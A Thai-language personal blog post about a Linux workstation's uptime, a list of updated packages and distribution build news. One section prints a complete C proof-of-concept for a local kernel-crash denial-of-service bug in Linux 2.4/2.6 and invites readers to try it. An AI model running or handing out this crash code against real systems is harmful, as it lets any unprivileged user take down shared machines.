.. ก็เพราะ ..
[kitt@peorth kitt]$ uptime 19:07:23 up 7 day, 23:28, 6 users, load average: 0.06, 0.13, 0.07
uptime ล่าสุดของ peorth เกือบๆ แปดวัน แม้จะไม่ใช่ uptime ที่มากที่สุดที่เคยมี (peorth สูงสุด 14 วัน บนลินุกซ์ 7 วันบน Win2K .. uptime สูงสุดที่เคยทำได้คือสองร้อยกว่าวันบน FreeBSD ก่อนจะ reboot เพื่ออัปเกรดเคอร์เนล) … อ่อ และตลอดเวลาที่ up ผมออนไลน์ และเป็นสัปเหร่อเฝ้า (ป่าช้า) #tlwg แทบไม่ได้ปิดหน้าต่าง irc เลย .. ข้อความที่คุยกันผม log ไว้หมดแล้วล่ะท่านประธานที่เคารพ :P
ฟิตจัด ..ทำงานไป ฟังเพลงไป อัปเดตแพ็กเกจไปซะเยอะ
- libsigc++ 2.0.3
- glibmm 2.4.2
- gtkmm 2.4.2
- libglademm 2.4.1
- libgnomeprintuimm 2.5.1
- xvidcore 1.0.1
- libcaca 0.9
- xine-lib 1.0.0 rc4a
- totem 0.99.12
- scribus 1.1.7
- littlecms 1.13
- raptor 1.3.1
- lbreakout 2.5 beta6
- povray 3.6
- gnusound 0.6.2
- gl-117 1.3
- fox 1.2.3
- drgeo 0.9.13
- mjpegtools 1.6.2
- transcode 0.6.12 (rebuild)
ฯลฯ
base ของทะเล MrChoke บอกว่าเริ่ม build GNOME แล้ว .. และคาดว่าจะใช้งาน gcc 3.4 เป็นหลักในขณะที่ 3.3 เป็น compat คู่กับ 2.96 … โฮ่ๆๆ
ข่าวใหญ่เรื่อง local DoS attack linux โดยโค้ดสั้นๆ ง่ายๆ เพียงแค่
#include <sys/time.h> #include <signal.h> #include <unistd.h> static void Handler(int ignore) { char fpubuf[108]; __asm__ __volatile__ ("fsave %0n" : : "m"(fpubuf)); write(2, "*", 1); __asm__ __volatile__ ("frstor %0n" : : "m"(fpubuf)); } int main(int argc, char *argv[]) { struct itimerval spec; signal(SIGALRM, Handler); spec.it_interval.tv_sec=0; spec.it_interval.tv_usec=100; spec.it_value.tv_sec=0; spec.it_value.tv_usec=100; setitimer(ITIMER_REAL, &spec, NULL); while(1) write(1, ".", 1); return 0; }
.. ก็มีโอกาสทำให้เคอร์เนล 2.4.x / 2.6.x แครชได้เกือบทุกรุ่น แม้เป็นแค่ user ธรรมดาๆ …. สนใจก็ไปลองกันเอง ตอนนี้เป็นที่รู้กันแล้วทั้ง LKML และคงแก้บั๊กนี้ก่อนจะออก stable ถัดไป
ย้ายมาตั้งฐานอยู่ต่างจังหวัดชั่วคราว เตรียม merge extras กับ extras-2 :)